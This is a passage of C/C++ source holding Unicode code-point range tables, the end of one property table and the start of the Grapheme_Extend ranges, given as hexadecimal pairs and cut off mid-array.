{0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA66, 0xA6F}, {0xA72, 0xA74}, {0xA76, 0xA76}, {0xA83, 0xA83}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABD, 0xAC0}, {0xAC9, 0xAC9}, {0xACB, 0xACC}, {0xAD0, 0xAD0}, {0xAE0, 0xAE1}, {0xAE6, 0xAF1}, {0xAF9, 0xAF9}, {0xB02, 0xB03}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3D, 0xB3D}, {0xB40, 0xB40}, {0xB47, 0xB48}, {0xB4B, 0xB4C}, {0xB5C, 0xB5D}, {0xB5F, 0xB61}, {0xB66, 0xB77}, {0xB83, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBBF, 0xBBF}, {0xBC1, 0xBC2}, {0xBC6, 0xBC8}, {0xBCA, 0xBCC}, {0xBD0, 0xBD0}, {0xBE6, 0xBFA}, {0xC01, 0xC03}, {0xC05, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3D, 0xC3D}, {0xC41, 0xC44}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC61}, {0xC66, 0xC6F}, {0xC77, 0xC80}, {0xC82, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBD, 0xCBE}, {0xCC1, 0xCC1}, {0xCC3, 0xCC4}, {0xCDC, 0xCDE}, {0xCE0, 0xCE1}, {0xCE6, 0xCEF}, {0xCF1, 0xCF3}, {0xD02, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD3A}, {0xD3D, 0xD3D}, {0xD3F, 0xD40}, {0xD46, 0xD48}, {0xD4A, 0xD4C}, {0xD4E, 0xD4F}, {0xD54, 0xD56}, {0xD58, 0xD61}, {0xD66, 0xD7F}, {0xD82, 0xD83}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xDD0, 0xDD1}, {0xDD8, 0xDDE}, {0xDE6, 0xDEF}, {0xDF2, 0xDF4}, {0xE01, 0xE30}, {0xE32, 0xE33}, {0xE3F, 0xE46}, {0xE4F, 0xE5B}, {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEB0}, {0xEB2, 0xEB3}, {0xEBD, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xED0, 0xED9}, {0xEDC, 0xEDF}, {0xF00, 0xF17}, {0xF1A, 0xF34}, {0xF36, 0xF36}, {0xF38, 0xF38}, {0xF3A, 0xF47}, {0xF49, 0xF6C}, {0xF7F, 0xF7F}, {0xF85, 0xF85}, {0xF88, 0xF8C}, {0xFBE, 0xFC5}, {0xFC7, 0xFCC}, {0xFCE, 0xFDA}, {0x1000, 0x102C}, {0x1031, 0x1031}, {0x1038, 0x1038}, {0x103B, 0x103C}, {0x103F, 0x1057}, {0x105A, 0x105D}, {0x1061, 0x1070}, {0x1075, 0x1081}, {0x1083, 0x1084}, {0x1087, 0x108C}, {0x108E, 0x109C}, {0x109E, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x1360, 0x137C}, {0x1380, 0x1399}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1400, 0x169C}, {0x16A0, 0x16F8}, {0x1700, 0x1711}, {0x171F, 0x1731}, {0x1735, 0x1736}, {0x1740, 0x1751}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1780, 0x17B3}, {0x17B6, 0x17B6}, {0x17BE, 0x17C5}, {0x17C7, 0x17C8}, {0x17D4, 0x17DC}, {0x17E0, 0x17E9}, {0x17F0, 0x17F9}, {0x1800, 0x180A}, {0x1810, 0x1819}, {0x1820, 0x1878}, {0x1880, 0x1884}, {0x1887, 0x18A8}, {0x18AA, 0x18AA}, {0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1923, 0x1926}, {0x1929, 0x192B}, {0x1930, 0x1931}, {0x1933, 0x1938}, {0x1940, 0x1940}, {0x1944, 0x196D}, {0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x19D0, 0x19DA}, {0x19DE, 0x1A16}, {0x1A19, 0x1A1A}, {0x1A1E, 0x1A55}, {0x1A57, 0x1A57}, {0x1A61, 0x1A61}, {0x1A63, 0x1A64}, {0x1A6D, 0x1A72}, {0x1A80, 0x1A89}, {0x1A90, 0x1A99}, {0x1AA0, 0x1AAD}, {0x1B04, 0x1B33}, {0x1B3E, 0x1B41}, {0x1B45, 0x1B4C}, {0x1B4E, 0x1B6A}, {0x1B74, 0x1B7F}, {0x1B82, 0x1BA1}, {0x1BA6, 0x1BA7}, {0x1BAE, 0x1BE5}, {0x1BE7, 0x1BE7}, {0x1BEA, 0x1BEC}, {0x1BEE, 0x1BEE}, {0x1BFC, 0x1C2B}, {0x1C34, 0x1C35}, {0x1C3B, 0x1C49}, {0x1C4D, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CC7}, {0x1CD3, 0x1CD3}, {0x1CE1, 0x1CE1}, {0x1CE9, 0x1CEC}, {0x1CEE, 0x1CF3}, {0x1CF5, 0x1CF7}, {0x1CFA, 0x1CFA}, {0x1D00, 0x1DBF}, {0x1E00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FC4}, {0x1FC6, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FDD, 0x1FEF}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFE}, {0x2000, 0x200A}, {0x2010, 0x2027}, {0x202F, 0x205F}, {0x2070, 0x2071}, {0x2074, 0x208E}, {0x2090, 0x209C}, {0x20A0, 0x20C1}, {0x2100, 0x218B}, {0x2190, 0x2429}, {0x2440, 0x244A}, {0x2460, 0x2B73}, {0x2B76, 0x2CEE}, {0x2CF2, 0x2CF3}, {0x2CF9, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D70}, {0x2D80, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0x2E00, 0x2E5D}, {0x2E80, 0x2E99}, {0x2E9B, 0x2EF3}, {0x2F00, 0x2FD5}, {0x2FF0, 0x3029}, {0x3030, 0x303F}, {0x3041, 0x3096}, {0x309B, 0x30FF}, {0x3105, 0x312F}, {0x3131, 0x318E}, {0x3190, 0x31E5}, {0x31EF, 0x321E}, {0x3220, 0xA48C}, {0xA490, 0xA4C6}, {0xA4D0, 0xA62B}, {0xA640, 0xA66E}, {0xA673, 0xA673}, {0xA67E, 0xA69D}, {0xA6A0, 0xA6EF}, {0xA6F2, 0xA6F7}, {0xA700, 0xA7DC}, {0xA7F1, 0xA801}, {0xA803, 0xA805}, {0xA807, 0xA80A}, {0xA80C, 0xA824}, {0xA827, 0xA82B}, {0xA830, 0xA839}, {0xA840, 0xA877}, {0xA880, 0xA8C3}, {0xA8CE, 0xA8D9}, {0xA8F2, 0xA8FE}, {0xA900, 0xA925}, {0xA92E, 0xA946}, {0xA952, 0xA952}, {0xA95F, 0xA97C}, {0xA983, 0xA9B2}, {0xA9B4, 0xA9B5}, {0xA9BA, 0xA9BB}, {0xA9BE, 0xA9BF}, {0xA9C1, 0xA9CD}, {0xA9CF, 0xA9D9}, {0xA9DE, 0xA9E4}, {0xA9E6, 0xA9FE}, {0xAA00, 0xAA28}, {0xAA2F, 0xAA30}, {0xAA33, 0xAA34}, {0xAA40, 0xAA42}, {0xAA44, 0xAA4B}, {0xAA4D, 0xAA4D}, {0xAA50, 0xAA59}, {0xAA5C, 0xAA7B}, {0xAA7D, 0xAAAF}, {0xAAB1, 0xAAB1}, {0xAAB5, 0xAAB6}, {0xAAB9, 0xAABD}, {0xAAC0, 0xAAC0}, {0xAAC2, 0xAAC2}, {0xAADB, 0xAAEB}, {0xAAEE, 0xAAF5}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0xAB30, 0xAB6B}, {0xAB70, 0xABE4}, {0xABE6, 0xABE7}, {0xABE9, 0xABEC}, {0xABF0, 0xABF9}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB1D}, {0xFB1F, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFDCF}, {0xFDF0, 0xFDFF}, {0xFE10, 0xFE19}, {0xFE30, 0xFE52}, {0xFE54, 0xFE66}, {0xFE68, 0xFE6B}, {0xFE70, 0xFE74}, {0xFE76, 0xFEFC}, {0xFF01, 0xFF9D}, {0xFFA0, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0xFFE0, 0xFFE6}, {0xFFE8, 0xFFEE}, {0xFFFC, 0xFFFD}, {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10100, 0x10102}, {0x10107, 0x10133}, {0x10137, 0x1018E}, {0x10190, 0x1019C}, {0x101A0, 0x101A0}, {0x101D0, 0x101FC}, {0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x102E1, 0x102FB}, {0x10300, 0x10323}, {0x1032D, 0x1034A}, {0x10350, 0x10375}, {0x10380, 0x1039D}, {0x1039F, 0x103C3}, {0x103C8, 0x103D5}, {0x10400, 0x1049D}, {0x104A0, 0x104A9}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563}, {0x1056F, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x105C0, 0x105F3}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10857, 0x1089E}, {0x108A7, 0x108AF}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x108FB, 0x1091B}, {0x1091F, 0x10939}, {0x1093F, 0x10959}, {0x10980, 0x109B7}, {0x109BC, 0x109CF}, {0x109D2, 0x10A00}, {0x10A10, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A40, 0x10A48}, {0x10A50, 0x10A58}, {0x10A60, 0x10A9F}, {0x10AC0, 0x10AE4}, {0x10AEB, 0x10AF6}, {0x10B00, 0x10B35}, {0x10B39, 0x10B55}, {0x10B58, 0x10B72}, {0x10B78, 0x10B91}, {0x10B99, 0x10B9C}, {0x10BA9, 0x10BAF}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10CFA, 0x10D23}, {0x10D30, 0x10D39}, {0x10D40, 0x10D65}, {0x10D6E, 0x10D85}, {0x10D8E, 0x10D8F}, {0x10E60, 0x10E7E}, {0x10E80, 0x10EA9}, {0x10EAD, 0x10EAD}, {0x10EB0, 0x10EB1}, {0x10EC2, 0x10EC7}, {0x10ED0, 0x10ED8}, {0x10F00, 0x10F27}, {0x10F30, 0x10F45}, {0x10F51, 0x10F59}, {0x10F70, 0x10F81}, {0x10F86, 0x10F89}, {0x10FB0, 0x10FCB}, {0x10FE0, 0x10FF6}, {0x11000, 0x11000}, {0x11002, 0x11037}, {0x11047, 0x1104D}, {0x11052, 0x1106F}, {0x11071, 0x11072}, {0x11075, 0x11075}, {0x11082, 0x110B2}, {0x110B7, 0x110B8}, {0x110BB, 0x110BC}, {0x110BE, 0x110C1}, {0x110D0, 0x110E8}, {0x110F0, 0x110F9}, {0x11103, 0x11126}, {0x1112C, 0x1112C}, {0x11136, 0x11147}, {0x11150, 0x11172}, {0x11174, 0x11176}, {0x11182, 0x111B5}, {0x111BF, 0x111BF}, {0x111C1, 0x111C8}, {0x111CD, 0x111CE}, {0x111D0, 0x111DF}, {0x111E1, 0x111F4}, {0x11200, 0x11211}, {0x11213, 0x1122E}, {0x11232, 0x11233}, {0x11238, 0x1123D}, {0x1123F, 0x11240}, {0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A9}, {0x112B0, 0x112DE}, {0x112E0, 0x112E2}, {0x112F0, 0x112F9}, {0x11302, 0x11303}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133D, 0x1133D}, {0x1133F, 0x1133F}, {0x11341, 0x11344}, {0x11347, 0x11348}, {0x1134B, 0x1134C}, {0x11350, 0x11350}, {0x1135D, 0x11363}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113B7}, {0x113B9, 0x113BA}, {0x113CA, 0x113CA}, {0x113CC, 0x113CD}, {0x113D1, 0x113D1}, {0x113D3, 0x113D5}, {0x113D7, 0x113D8}, {0x11400, 0x11437}, {0x11440, 0x11441}, {0x11445, 0x11445}, {0x11447, 0x1145B}, {0x1145D, 0x1145D}, {0x1145F, 0x11461}, {0x11480, 0x114AF}, {0x114B1, 0x114B2}, {0x114B9, 0x114B9}, {0x114BB, 0x114BC}, {0x114BE, 0x114BE}, {0x114C1, 0x114C1}, {0x114C4, 0x114C7}, {0x114D0, 0x114D9}, {0x11580, 0x115AE}, {0x115B0, 0x115B1}, {0x115B8, 0x115BB}, {0x115BE, 0x115BE}, {0x115C1, 0x115DB}, {0x11600, 0x11632}, {0x1163B, 0x1163C}, {0x1163E, 0x1163E}, {0x11641, 0x11644}, {0x11650, 0x11659}, {0x11660, 0x1166C}, {0x11680, 0x116AA}, {0x116AC, 0x116AC}, {0x116AE, 0x116AF}, {0x116B8, 0x116B9}, {0x116C0, 0x116C9}, {0x116D0, 0x116E3}, {0x11700, 0x1171A}, {0x1171E, 0x1171E}, {0x11720, 0x11721}, {0x11726, 0x11726}, {0x11730, 0x11746}, {0x11800, 0x1182E}, {0x11838, 0x11838}, {0x1183B, 0x1183B}, {0x118A0, 0x118F2}, {0x118FF, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x1192F}, {0x11931, 0x11935}, {0x11937, 0x11938}, {0x1193F, 0x11942}, {0x11944, 0x11946}, {0x11950, 0x11959}, {0x119A0, 0x119A7}, {0x119AA, 0x119D3}, {0x119DC, 0x119DF}, {0x119E1, 0x119E4}, {0x11A00, 0x11A00}, {0x11A0B, 0x11A32}, {0x11A39, 0x11A3A}, {0x11A3F, 0x11A46}, {0x11A50, 0x11A50}, {0x11A57, 0x11A58}, {0x11A5C, 0x11A89}, {0x11A97, 0x11A97}, {0x11A9A, 0x11AA2}, {0x11AB0, 0x11AF8}, {0x11B00, 0x11B09}, {0x11B61, 0x11B61}, {0x11B65, 0x11B65}, {0x11B67, 0x11B67}, {0x11BC0, 0x11BE1}, {0x11BF0, 0x11BF9}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C2F}, {0x11C3E, 0x11C3E}, {0x11C40, 0x11C45}, {0x11C50, 0x11C6C}, {0x11C70, 0x11C8F}, {0x11CA9, 0x11CA9}, {0x11CB1, 0x11CB1}, {0x11CB4, 0x11CB4}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D30}, {0x11D46, 0x11D46}, {0x11D50, 0x11D59}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D8E}, {0x11D93, 0x11D94}, {0x11D96, 0x11D96}, {0x11D98, 0x11D98}, {0x11DA0, 0x11DA9}, {0x11DB0, 0x11DDB}, {0x11DE0, 0x11DE9}, {0x11EE0, 0x11EF2}, {0x11EF5, 0x11EF8}, {0x11F02, 0x11F10}, {0x11F12, 0x11F35}, {0x11F3E, 0x11F3F}, {0x11F43, 0x11F59}, {0x11FB0, 0x11FB0}, {0x11FC0, 0x11FF1}, {0x11FFF, 0x12399}, {0x12400, 0x1246E}, {0x12470, 0x12474}, {0x12480, 0x12543}, {0x12F90, 0x12FF2}, {0x13000, 0x1342F}, {0x13441, 0x13446}, {0x13460, 0x143FA}, {0x14400, 0x14646}, {0x16100, 0x1611D}, {0x1612A, 0x1612C}, {0x16130, 0x16139}, {0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A60, 0x16A69}, {0x16A6E, 0x16ABE}, {0x16AC0, 0x16AC9}, {0x16AD0, 0x16AED}, {0x16AF5, 0x16AF5}, {0x16B00, 0x16B2F}, {0x16B37, 0x16B45}, {0x16B50, 0x16B59}, {0x16B5B, 0x16B61}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, {0x16D40, 0x16D79}, {0x16E40, 0x16E9A}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x16F00, 0x16F4A}, {0x16F50, 0x16F87}, {0x16F93, 0x16F9F}, {0x16FE0, 0x16FE3}, {0x16FF2, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1BC9C, 0x1BC9C}, {0x1BC9F, 0x1BC9F}, {0x1CC00, 0x1CCFC}, {0x1CD00, 0x1CEB3}, {0x1CEBA, 0x1CED0}, {0x1CEE0, 0x1CEF0}, {0x1CF50, 0x1CFC3}, {0x1D000, 0x1D0F5}, {0x1D100, 0x1D126}, {0x1D129, 0x1D164}, {0x1D16A, 0x1D16C}, {0x1D183, 0x1D184}, {0x1D18C, 0x1D1A9}, {0x1D1AE, 0x1D1EA}, {0x1D200, 0x1D241}, {0x1D245, 0x1D245}, {0x1D2C0, 0x1D2D3}, {0x1D2E0, 0x1D2F3}, {0x1D300, 0x1D356}, {0x1D360, 0x1D378}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D7CB}, {0x1D7CE, 0x1D9FF}, {0x1DA37, 0x1DA3A}, {0x1DA6D, 0x1DA74}, {0x1DA76, 0x1DA83}, {0x1DA85, 0x1DA8B}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E030, 0x1E06D}, {0x1E100, 0x1E12C}, {0x1E137, 0x1E13D}, {0x1E140, 0x1E149}, {0x1E14E, 0x1E14F}, {0x1E290, 0x1E2AD}, {0x1E2C0, 0x1E2EB}, {0x1E2F0, 0x1E2F9}, {0x1E2FF, 0x1E2FF}, {0x1E4D0, 0x1E4EB}, {0x1E4F0, 0x1E4F9}, {0x1E5D0, 0x1E5ED}, {0x1E5F0, 0x1E5FA}, {0x1E5FF, 0x1E5FF}, {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6E2}, {0x1E6E4, 0x1E6E5}, {0x1E6E7, 0x1E6ED}, {0x1E6F0, 0x1E6F4}, {0x1E6FE, 0x1E6FF}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, {0x1E800, 0x1E8C4}, {0x1E8C7, 0x1E8CF}, {0x1E900, 0x1E943}, {0x1E94B, 0x1E94B}, {0x1E950, 0x1E959}, {0x1E95E, 0x1E95F}, {0x1EC71, 0x1ECB4}, {0x1ED01, 0x1ED3D}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1EEF0, 0x1EEF1}, {0x1F000, 0x1F02B}, {0x1F030, 0x1F093}, {0x1F0A0, 0x1F0AE}, {0x1F0B1, 0x1F0BF}, {0x1F0C1, 0x1F0CF}, {0x1F0D1, 0x1F0F5}, {0x1F100, 0x1F1AD}, {0x1F1E6, 0x1F202}, {0x1F210, 0x1F23B}, {0x1F240, 0x1F248}, {0x1F250, 0x1F251}, {0x1F260, 0x1F265}, {0x1F300, 0x1F6D8}, {0x1F6DC, 0x1F6EC}, {0x1F6F0, 0x1F6FC}, {0x1F700, 0x1F7D9}, {0x1F7E0, 0x1F7EB}, {0x1F7F0, 0x1F7F0}, {0x1F800, 0x1F80B}, {0x1F810, 0x1F847}, {0x1F850, 0x1F859}, {0x1F860, 0x1F887}, {0x1F890, 0x1F8AD}, {0x1F8B0, 0x1F8BB}, {0x1F8C0, 0x1F8C1}, {0x1F8D0, 0x1F8D8}, {0x1F900, 0x1FA57}, {0x1FA60, 0x1FA6D}, {0x1FA70, 0x1FA7C}, {0x1FA80, 0x1FA8A}, {0x1FA8E, 0x1FAC6}, {0x1FAC8, 0x1FAC8}, {0x1FACD, 0x1FADC}, {0x1FADF, 0x1FAEA}, {0x1FAEF, 0x1FAF8}, {0x1FB00, 0x1FB92}, {0x1FB94, 0x1FBFA}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, }; static const UnicodeRange kRanges_Grapheme_Extend[] = { {0x300, 0x36F}, {0x483, 0x489}, {0x591, 0x5BD}, {0x5BF, 0x5BF}, {0x5C1, 0x5C2}, {0x5C4, 0x5C5}, {0x5C7, 0x5C7}, {0x610, 0x61A}, {0x64B, 0x65F}, {0x670, 0x670}, {0x6D6, 0x6DC}, {0x6DF, 0x6E4}, {0x6E7, 0x6E8}, {0x6EA, 0x6ED}, {0x711, 0x711}, {0x730, 0x74A}, {0x7A6, 0x7B0}, {0x7EB, 0x7F3}, {0x7FD, 0x7FD}, {0x816, 0x819}, {0x81B, 0x823}, {0x825, 0x827}, {0x829, 0x82D}, {0x859, 0x85B}, {0x897, 0x89F}, {0x8CA, 0x8E1}, {0x8E3, 0x902}, {0x93A, 0x93A}, {0x93C, 0x93C}, {0x941, 0x948}, {0x94D, 0x94D}, {0x951, 0x957}, {0x962, 0x963}, {0x981, 0x981}, {0x9BC, 0x9BC}, {0x9BE, 0x9BE}, {0x9C1, 0x9C4}, {0x9CD, 0x9CD}, {0x9D7, 0x9D7}, {0x9E2, 0x9E3}, {0x9FE, 0x9FE}, {0xA01, 0xA02}, {0xA3C, 0xA3C}, {0xA41, 0xA42}, {0xA47, 0xA48}, {0xA4B, 0xA4D}, {0xA51, 0xA51}, {0xA70, 0xA71}, {0xA75, 0xA75}, {0xA81, 0xA82}, {0xABC, 0xABC}, {0xAC1, 0xAC5}, {0xAC7, 0xAC8}, {0xACD, 0xACD}, {0xAE2, 0xAE3}, {0xAFA, 0xAFF}, {0xB01, 0xB01}, {0xB3C, 0xB3C}, {0xB3E, 0xB3F}, {0xB41, 0xB44}, {0xB4D, 0xB4D}, {0xB55, 0xB57}, {0xB62, 0xB63}, {0xB82, 0xB82}, {0xBBE, 0xBBE}, {0xBC0, 0xBC0}, {0xBCD, 0xBCD}, {0xBD7, 0xBD7}, {0xC00, 0xC00}, {0xC04, 0xC04}, {0xC3C, 0xC3C}, {0xC3E, 0xC40}, {0xC46, 0xC48}, {0xC4A, 0xC4D}, {0xC55, 0xC56}, {0xC62, 0xC63}, {0xC81, 0xC81}, {0xCBC, 0xCBC}, {0xCBF, 0xCC0}, {0xCC2, 0xCC2}, {0xCC6, 0xCC8}, {0xCCA, 0xCCD}, {0xCD5, 0xCD6}, {0xCE2, 0xCE3}, {0xD00, 0xD01}, {0xD3B, 0xD3C}, {0xD3E, 0xD3E}, {0xD41, 0xD44}, {0xD4D, 0xD4D}, {0xD57, 0xD57}, {0xD62, 0xD63}, {0xD81, 0xD81}, {0xDCA, 0xDCA}, {0xDCF, 0xDCF}, {0xDD2, 0xDD4}, {0xDD6, 0xDD6}, {0xDDF, 0xDDF}, {0xE31, 0xE31}, {0xE34, 0xE3A}, {0xE47, 0xE4E}, {0xEB1, 0xEB1}, {0xEB4, 0xEBC}, {0xEC8, 0xECE}, {0xF18, 0xF19}, {0xF35, 0xF35}, {0xF37, 0xF37}, {0xF39, 0xF39}, {0xF71, 0xF7E}, {0xF80, 0xF84}, {0xF86, 0xF87}, {0xF8D, 0xF97}, {0xF99, 0xFBC}, {0xFC6, 0xFC6}, {0x102D, 0x1030}, {0x1032, 0x1037}, {0x1039, 0x103A}, {0x103D, 0x103E}, {0x1058, 0x1059}, {0x105E, 0x1060}, {0x1071, 0x1074}, {0x1082, 0x1082}, {0x1085, 0x1086}, {0x108D, 0x108D}, {0x109D, 0x109D}, {0x135D, 0x135F}, {0x1712, 0x1715}, {0x1732, 0x1734}, {0x1752, 0x1753}, {0x1772, 0x1773}, {0x17B4, 0x17B5}, {0x17B7, 0x17BD}, {0x17C6, 0x17C6}, {0x17C9, 0x17D3}, {0x17DD, 0x17DD}, {0x180B, 0x180D}, {0x180F, 0x180F}, {0x1885, 0x1886}, {0x18A9, 0x18A9}, {0x1920, 0x1922}, {0x1927, 0x1928}, {0x1932, 0x1932}, {0x1939, 0x193B}, {0x1A17, 0x1A18}, {0x1A1B, 0x1A1B}, {0x1A56, 0x1A56}, {0x1A58, 0x1A5E}, {0x1A60, 0x1A60}, {0x1A62, 0x1A62}, {0x1A65, 0x1A6C}, {0x1A73, 0x1A7C}, {0x1A7F, 0x1A7F}, {0x1AB0, 0x1ADD}, {0x1AE0, 0x1AEB}, {0x1B00, 0x1B03}, {0x1B34, 0x1B3D}, {0x1B42, 0x1B44}, {0x1B6B, 0x1B73}, {0x1B80, 0x1B81}, {0x1BA2, 0x1BA5}, {0x1BA8, 0x1BAD}, 